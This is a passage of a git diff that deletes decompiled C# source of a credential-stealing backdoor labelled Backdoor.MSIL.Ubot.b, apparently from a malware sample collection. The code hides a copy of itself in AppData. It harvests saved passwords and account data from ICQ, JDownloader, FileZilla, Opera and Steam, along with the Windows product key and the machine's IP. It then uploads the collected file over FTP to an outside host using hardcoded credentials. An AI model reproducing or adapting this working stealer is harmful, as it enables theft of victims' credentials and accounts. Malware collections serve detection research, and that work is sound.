1)]; - Marshal.Copy(ptr, numArray, 0, pointerLenght); - return utF8.GetString(numArray, 0, pointerLenght); - } - - private int GetPointerLenght(IntPtr ptr) => ptr == IntPtr.Zero ? 0 : Base.lstrlen(ptr); - - public enum SQLiteDataTypes - { - INT = 1, - FLOAT = 2, - TEXT = 3, - BLOB = 4, - NULL = 5, - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.cs deleted file mode 100644 index 7d7f93ad..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.cs +++ /dev/null @@ -1,1566 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.Collections.Generic; -using System.Data; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Text.RegularExpressions; -using System.Threading; -using System.Windows.Forms; -using System.Xml; - -[StandardModule] -internal sealed class LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy -{ - private static TextBox AText = new TextBox(); - private static TextBox BText = new TextBox(); - private static ListBox ListBox1 = new ListBox(); - private static string[] IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW; - private static string steamstring; - private static string HzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumiuLavjs = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Steam", "InstallPath", (object) "")); - private static string QLoqXqwFtZijhmKQYCPOeikcCRJtbdxaftpYlLMmvIkEiHZyZk = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.HzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumiuLavjs + "\\config\\SteamAppData.vdf"; - public static string signon; - public static string IPAdresse; - private static IntPtr NSS3; - private static byte[] opera_salt = new byte[11] - { - (byte) 131, - (byte) 125, - (byte) 252, - (byte) 15, - (byte) 142, - (byte) 179, - (byte) 232, - (byte) 105, - (byte) 115, - (byte) 175, - byte.MaxValue - }; - private static byte[] key_size = new byte[4] - { - (byte) 0, - (byte) 0, - (byte) 0, - (byte) 8 - }; - private static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - public static string DOutput; - private static int c = 0; - private static int c1 = 0; - private static int c2 = 0; - private static bool firstrun = true; - private static string ReturnValue; - private static string sUrlTemp; - private static string sUserTemp; - private static string sPassTemp; - private static string[] sUrl = new string[1001]; - private static string[] sUser = new string[1001]; - private static string[] sPass = new string[1001]; - private static int lasturl = 0; - private static bool ftp = false; - private static string[] Lines; - private static string[] LoginData = new string[3001]; - - [STAThread] - public static void Main() - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Location = new Point(24, 20); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BText.Text = Conversions.ToString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetSteamUsername()); - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Melt("sVKeU.exe"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IPAdresse = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Process[] processesByName = Process.GetProcessesByName("ICQ"); - int index = 0; - while (index < processesByName.Length) - { - processesByName[index].Kill(); - checked { ++index; } - } - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TvDbsYmmzeKXixjs(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lzwfsSStCOqKpNfFfqkDmJsEJGRiwFGPniLNtzTbRwrsqvgnuL(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOperaa(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.kLblosnDhhhJ(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.MLbehZxNGpYauXcpzViWIjGFgOfRVvVgaspNiHzvHYmIvGdYCD(); - try - { - MyProject.Computer.Network.UploadFile(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString(), "ftp://ftp.drivehq.com/" + MyProject.Computer.Name.ToString() + ".txt", "undetecter", "010101"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - ProjectData.EndApp(); - } - - internal static object BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN() - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW = MyProject.Computer.FileSystem.ReadAllText(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.QLoqXqwFtZijhmKQYCPOeikcCRJtbdxaftpYlLMmvIkEiHZyZk).Split('"'); - return (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW[9]; - } - - public static object GetSteamUsername() - { -label_0: - int num1; - object obj; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_CURRENT_USER\\SOFTWARE\\Valve\\Steam", "SteamPath", (object) "")); -label_2: - num3 = 3; - string file = str + "\\config\\SteamAppData.vdf"; -label_3: - num3 = 4; - string[] strArray = MyProject.Computer.FileSystem.ReadAllText(file).Split('"'); -label_4: - num3 = 5; - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray[9], "", false) == 0) - goto label_7; -label_5: - num3 = 6; - strArray[9] = strArray[9]; -label_6: - num3 = 7; - obj = (object) strArray[9]; - goto label_15; -label_7: - num3 = 9; -label_8: - obj = (object) null; - goto label_15; -label_10: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - case 11: - case 12: - goto label_15; - case 9: - goto label_7; - case 10: - goto label_8; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_10; - } - throw ProjectData.CreateProjectError(-2146828237); -label_15: - object steamUsername = obj; - if (num2 == 0) - return steamUsername; - ProjectData.ClearProjectError(); - return steamUsername; - } - - public static void MLbehZxNGpYauXcpzViWIjGFgOfRVvVgaspNiHzvHYmIvGdYCD() - { -label_0: - int num1; - int num2; - try - { - int num3 = 1; - DateTime now = DateTime.Now; -label_1: - num3 = 2; - object Instance = (object) new StreamWriter(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString()); -label_2: - ProjectData.ClearProjectError(); - num1 = 1; -label_3: - num3 = 4; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) "Stealer by W33DY" - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_4: - num3 = 5; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("Date/Time: " + now.ToString()) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_5: - num3 = 6; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("PC Name: " + MyProject.Computer.Name) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_6: - num3 = 7; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("IP: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IPAdresse) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_7: - num3 = 8; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("Windows Version: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOSVersion()) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_8: - num3 = 9; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) ("Windows Key: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.OSProductKey("HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows NT\\CurrentVersion", "DigitalProductId")) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_9: - num3 = 10; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_10: - num3 = 11; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Text + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_11: - num3 = 12; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_12: - num3 = 13; - int num4 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items.Count - 1); - int index = 0; - goto label_16; -label_13: - num3 = 14; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items[index], (object) "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_14: - num3 = 15; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_15: - num3 = 16; - checked { ++index; } -label_16: - if (index <= num4) - goto label_13; -label_17: - num3 = 17; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOperaa() - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_18: - num3 = 18; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS() - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_19: - num3 = 19; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_20: - num3 = 20; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF() + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_21: - num3 = 21; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_22: - num3 = 22; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh() + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_23: - num3 = 23; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_24: - num3 = 24; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) "Application: Steam\r\nUsername: ", LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN()), (object) "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_25: - num3 = 25; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_26: - num3 = 26; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi() + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_27: - num3 = 27; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_28: - num3 = 28; - NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1] - { - (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.kLblosnDhhhJ() + "\r\n") - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_29: - num3 = 29; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_30: - num3 = 30; - NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); -label_31: - num3 = 31; - NewLateBinding.LateCall(Instance, (System.Type) null, "Close", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true); - goto label_38; -label_33: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_17; - case 18: - goto label_18; - case 19: - goto label_19; - case 20: - goto label_20; - case 21: - goto label_21; - case 22: - goto label_22; - case 23: - goto label_23; - case 24: - goto label_24; - case 25: - goto label_25; - case 26: - goto label_26; - case 27: - goto label_27; - case 28: - goto label_28; - case 29: - goto label_29; - case 30: - goto label_30; - case 31: - goto label_31; - case 32: - goto label_38; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_33; - } - throw ProjectData.CreateProjectError(-2146828237); -label_38: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public static void Melt(string NewName) - { - try - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Application.StartupPath, folderPath, false) != 0) - { - FileSystem.FileCopy(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, folderPath + "\\" + NewName); - Interaction.Shell(folderPath + "\\" + NewName + " " + Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName); - FileAttributes fileAttributes = FileAttributes.Hidden; - System.IO.File.SetAttributes(folderPath + "\\" + NewName, fileAttributes); - ProjectData.EndApp(); - } - else - FileSystem.Kill(Interaction.Command()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string gwcqPBHXULYDADOrwheWpKJ(string ZDehjJRDjdkZgavKV) - { - string str1 = nameof (gwcqPBHXULYDADOrwheWpKJ); - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = str1.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = str1.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - int location3 = 1; - while (location3 <= ZDehjJRDjdkZgavKV.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(ZDehjJRDjdkZgavKV.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1)); - } - string str2 = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str2; - } - - public static string GetOSVersion() - { - switch (Environment.OSVersion.Platform) - { - case PlatformID.Win32S: - return "Win 3.1"; - case PlatformID.Win32Windows: - switch (Environment.OSVersion.Version.Minor) - { - case 0: - return "Windows 95"; - case 10: - return "Windows 98"; - case 90: - return "Windows ME"; - default: - return "Unknown"; - } - case PlatformID.Win32NT: - switch (Environment.OSVersion.Version.Major) - { - case 3: - return "Windows NT 3.51"; - case 4: - return "Windows NT 4.0"; - case 5: - switch (Environment.OSVersion.Version.Minor) - { - case 0: - return "Windows 2000"; - case 1: - return "Windows XP"; - case 2: - return "Windows 2003"; - } - break; - case 6: - return "Windows 7 / Vista"; - default: - return "Unknown"; - } - case PlatformID.WinCE: - return "Windows CE"; - } - string osVersion; - return osVersion; - } - - public static string OSProductKey(string KeyPath, string ValueName) - { - string Expression = ""; - try - { - object objectValue = RuntimeHelpers.GetObjectValue(MyProject.Computer.Registry.GetValue(KeyPath, ValueName, (object) 0)); - if (objectValue == null) - return "N/A"; - string str1 = ""; - int num1 = Information.LBound((Array) objectValue); - int num2 = Information.UBound((Array) objectValue); - int num3 = num1; - while (num3 <= num2) - { - str1 = str1 + " " + Conversion.Hex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(objectValue, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - int num4 = 52; - int num5 = 67; - string[] strArray1 = new string[25] - { - "B", - "C", - "D", - "F", - "G", - "H", - "J", - "K", - "M", - "P", - "Q", - "R", - "T", - "V", - "W", - "X", - "Y", - "2", - "3", - "4", - "6", - "7", - "8", - "9", - null - }; - int num6 = 29; - int num7 = 15; - string[] strArray2 = new string[16]; - string[] strArray3 = new string[31]; - string str2 = ""; - int num8 = num4; - int num9 = num5; - int num10 = num8; - while (num10 <= num9) - { - strArray2[checked (num10 - num4)] = Conversions.ToString(NewLateBinding.LateIndexGet(objectValue, new object[1] - { - (object) num10 - }, (string[]) null)); - str2 = str2 + " " + Conversion.Hex((object) strArray2[checked (num10 - num4)]); - checked { ++num10; } - } - int index1 = checked (num6 - 1); - while (index1 >= 0) - { - if (checked (index1 + 1) % 6 == 0) - { - strArray3[index1] = "-"; - Expression += "-"; - } - else - { - int index2 = 0; - int index3 = checked (num7 - 1); - while (index3 >= 0) - { - int num11 = checked ((int) ((long) Math.Round(unchecked ((double) index2 * 256.0)) | Conversions.ToLong(strArray2[index3]))); - strArray2[index3] = Conversions.ToString(num11 / 24); - index2 = num11 % 24; - checked { index3 += -1; } - } - strArray3[index1] = strArray1[index2]; - Expression += strArray1[index2]; - } - checked { index1 += -1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return Strings.StrReverse(Expression); - } - - internal static string FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS() - { - StringBuilder stringBuilder = new StringBuilder(); - string[] directories = Directory.GetDirectories(Interaction.Environ("APPDATA") + "\\ICQ", "*", SearchOption.TopDirectoryOnly); - int num = checked (directories.Length - 1); - int index1 = 0; - while (index1 <= num) - { - if (Versioned.IsNumeric((object) directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)])) - { - string str = Encoding.Unicode.GetString(System.IO.File.ReadAllBytes(!System.IO.File.Exists(directories[index1] + "\\Owner.mdb") ? directories[index1] + "\\Owner.qdb" : directories[index1] + "\\Owner.mdb")).Replace("\0", ""); - long startIndex = (long) str.IndexOf("StoredPassword"); - string Left = ""; - if (startIndex > 0L) - { - byte[] numArray = Convert.FromBase64String(Strings.Mid(str.Substring(checked ((int) startIndex)).Replace(Conversions.ToString(Strings.Chr(132)), ""), 17, 44)); - int index2 = 0; - do - { - Left = Conversion.Hex(numArray[index2]).Length >= 2 ? Left + Conversion.Hex(numArray[index2]) : Left + "0" + Conversion.Hex(numArray[index2]); - checked { ++index2; } - } - while (index2 <= 15); - } - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0) - stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword: " + Left + "\r\n\r\n"); - else - stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword : - \r\n\r\n"); - } - checked { ++index1; } - } - return stringBuilder.ToString(); - } - - internal static string ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh() - { - string str1 = ""; - StringBuilder stringBuilder = new StringBuilder(); - string str2 = ""; - string path = Interaction.Environ("Programfiles(x86)") != null ? Interaction.Environ("programfiles(x86)") + "\\jDownloader\\config\\database.script" : Interaction.Environ("programfiles") + "\\jDownloader\\config\\database.script"; - if (!System.IO.File.Exists(path)) - return ""; - string str3 = "INSERT INTO CONFIG VALUES('AccountController','"; - string[] strArray1 = System.IO.File.ReadAllLines(path); - int num1 = checked (strArray1.Length - 1); - int index1 = 0; - while (index1 <= num1) - { - if (strArray1[index1].Contains(str3)) - { - string str4 = strArray1[index1].Substring(checked (str3.Length - 1)).Substring(1, checked (strArray1[index1].Length - str3.Length + 1 + 3)); - int num2 = checked (str4.Length - 1); - int startIndex = 0; - while (startIndex <= num2) - { - str1 += Conversions.ToString(Strings.Chr(Conversions.ToInteger("&H" + str4.Substring(startIndex, 2)))); - checked { startIndex += 2; } - } - string str5 = ""; - string[] strArray2 = str1.Split(char.MinValue); - int num3 = checked (strArray2.Length - 1); - int index2 = 0; - while (index2 <= num3) - { - int CharCode = 1; - do - { - strArray2[index2] = strArray2[index2].Replace(Conversions.ToString(Strings.Chr(CharCode)), ""); - checked { ++CharCode; } - } - while (CharCode <= 31); - strArray2[index2] = strArray2[index2].Replace("ÿ", ""); - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray2[index2], "", false) != 0) - str5 = str5 + "\r\n" + strArray2[index2]; - checked { ++index2; } - } - string[] strArray3 = str5.ToString().Split('\r'); - int num4 = checked (strArray3.Length - 2); - int index3 = 0; - while (index3 <= num4) - { - if (strArray3[index3].EndsWith("sq") & strArray3[index3].IndexOf(".") > 0) - str2 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 2)); - if (strArray3[index3].EndsWith("t") & strArray3[checked (index3 + 1)].EndsWith("xt")) - { - string str6 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 1)); - string str7 = strArray3[checked (index3 + 1)].Substring(0, checked (strArray3[index3 + 1].Length - 2)); - if (str6.Length > 4) - stringBuilder.Append("Application: JDownloader\r\nHost: " + str2 + "\r\nUser: " + str7 + "\r\nPass: " + str6 + "\r\n\r\n"); - } - checked { ++index3; } - } - } - checked { ++index1; } - } - return stringBuilder.ToString(); - } - - public static string kLblosnDhhhJ() - { - XmlDocument xmlDocument = new XmlDocument(); - object Left = (object) null; - string str1 = ""; - string str2 = Interaction.Environ("appdata") + "\\FileZilla\\recentservers.xml"; - if (System.IO.File.Exists(str2)) - { - try - { - xmlDocument.Load(str2); - XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("Host"); - XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("Port"); - XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("User"); - XmlNodeList elementsByTagName4 = xmlDocument.GetElementsByTagName("Pass"); - int num = checked (elementsByTagName1.Count - 1); - int i = 0; - while (i <= num) - { - Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: FileZilla"), (object) "\r\n"), (object) "Host: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Port: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) 